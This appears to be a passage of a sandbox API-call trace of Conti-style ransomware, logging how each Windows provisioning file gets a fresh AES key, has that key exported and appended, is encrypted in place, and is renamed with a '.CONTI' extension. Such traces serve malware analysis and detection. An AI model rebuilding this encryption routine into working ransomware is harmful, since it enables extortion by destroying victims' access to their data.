	[0110.815] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0110.815] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\356__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\356__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0110.816] GetProcessHeap () returned 0x1720000
	[0110.816] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.816] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0110.816] GetProcessHeap () returned 0x1720000
	[0110.816] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6516d70 | out: hHeap=0x1720000) returned 1
	[0110.816] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0110.816] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6515e30 | out: phKey=0x6515e30*=0x17c7af0) returned 1
	[0110.816] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515e34, pdwDataLen=0x4fbf86c | out: pbData=0x6515e34*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0110.817] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\359__connections_cellular_dontelecom (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.817] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\359__connections_cellular_dontelecom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0110.817] GetLastError () returned 0x0
	[0110.817] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=497) returned 1
	[0110.817] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1f1
	[0110.817] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.817] SetEndOfFile (hFile=0x3a8) returned 1
	[0110.818] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.818] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.818] WriteFile (in: hFile=0x3a8, lpBuffer=0x6515e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6515e34*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0110.824] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.824] ReadFile (in: hFile=0x3a8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x1f1, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x1f1, lpOverlapped=0x0) returned 1
	[0110.824] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1f1, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x200) returned 1
	[0110.824] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.824] WriteFile (in: hFile=0x3a8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x200, lpOverlapped=0x0) returned 1
	[0110.824] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.824] WriteFile (in: hFile=0x3a8, lpBuffer=0x6515e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6515e28*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0110.825] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.825] CloseHandle (hObject=0x3a8) returned 1
	[0110.825] GetProcessHeap () returned 0x1720000
	[0110.825] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.825] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0110.825] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.825] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\359__connections_cellular_dontelecom (russian federation)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\359__connections_cellular_dontelecom (russian federation)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.825] GetProcessHeap () returned 0x1720000
	[0110.825] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.825] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0110.825] GetProcessHeap () returned 0x1720000
	[0110.826] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e1f8 | out: hHeap=0x1720000) returned 1
	[0110.826] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0110.826] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6513768 | out: phKey=0x6513768*=0x17c7cb0) returned 1
	[0110.826] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x651376c, pdwDataLen=0x4fbf86c | out: pbData=0x651376c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0110.826] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\360__connections_cellular_ermak rms (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.827] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\360__connections_cellular_ermak rms (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0110.827] GetLastError () returned 0x0
	[0110.827] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=663) returned 1
	[0110.827] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x297
	[0110.827] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.827] SetEndOfFile (hFile=0x3a8) returned 1
	[0110.827] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.827] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.827] WriteFile (in: hFile=0x3a8, lpBuffer=0x651376c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x651376c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0110.832] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.832] ReadFile (in: hFile=0x3a8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x297, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x297, lpOverlapped=0x0) returned 1
	[0110.832] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x297, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2a0) returned 1
	[0110.832] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.832] WriteFile (in: hFile=0x3a8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2a0, lpOverlapped=0x0) returned 1
	[0110.832] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.832] WriteFile (in: hFile=0x3a8, lpBuffer=0x6513760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6513760*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0110.832] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.832] CloseHandle (hObject=0x3a8) returned 1
	[0110.832] GetProcessHeap () returned 0x1720000
	[0110.832] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.832] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0110.832] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.833] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\360__connections_cellular_ermak rms (russian federation)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\360__connections_cellular_ermak rms (russian federation)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.835] GetProcessHeap () returned 0x1720000
	[0110.835] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.836] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0110.836] GetProcessHeap () returned 0x1720000
	[0110.836] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e358 | out: hHeap=0x1720000) returned 1
	[0110.836] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0110.836] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6571f18 | out: phKey=0x6571f18*=0x17c7cf0) returned 1
	[0110.836] CryptExportKey (in: hKey=0x17c7cf0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6571f1c, pdwDataLen=0x4fbf86c | out: pbData=0x6571f1c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0110.836] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\362__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0110.837] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\362__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0110.837] GetLastError () returned 0x0
	[0110.837] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=454) returned 1
	[0110.837] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c6
	[0110.837] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.837] SetEndOfFile (hFile=0x3a8) returned 1
	[0110.842] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.842] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.842] WriteFile (in: hFile=0x3a8, lpBuffer=0x6571f1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6571f1c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0111.089] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.089] ReadFile (in: hFile=0x3a8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x1c6, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x1c6, lpOverlapped=0x0) returned 1
	[0111.090] CryptEncrypt (in: hKey=0x17c7cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1c6, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1d0) returned 1
	[0111.090] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.090] WriteFile (in: hFile=0x3a8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x1d0, lpOverlapped=0x0) returned 1
	[0111.090] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.090] WriteFile (in: hFile=0x3a8, lpBuffer=0x6571f10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6571f10*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.090] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.090] CloseHandle (hObject=0x3a8) returned 1
	[0111.090] GetProcessHeap () returned 0x1720000
	[0111.090] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.188] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0111.189] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0111.189] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\362__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\362__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0111.189] GetProcessHeap () returned 0x1720000
	[0111.189] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.189] CryptDestroyKey (hKey=0x17c7cf0) returned 1
	[0111.189] GetProcessHeap () returned 0x1720000
	[0111.189] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e618 | out: hHeap=0x1720000) returned 1
	[0111.189] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0111.189] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x65139b0 | out: phKey=0x65139b0*=0x17c7cf0) returned 1
	[0111.189] CryptExportKey (in: hKey=0x17c7cf0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65139b4, pdwDataLen=0x4fbf86c | out: pbData=0x65139b4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.190] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\389__connections_cellular_starhub (singapore)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0111.190] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\389__connections_cellular_starhub (singapore)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0111.191] GetLastError () returned 0x0
	[0111.191] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=847) returned 1
	[0111.191] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34f
	[0111.191] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.191] SetEndOfFile (hFile=0x30c) returned 1
	[0111.191] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.191] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.191] WriteFile (in: hFile=0x30c, lpBuffer=0x65139b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x65139b4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
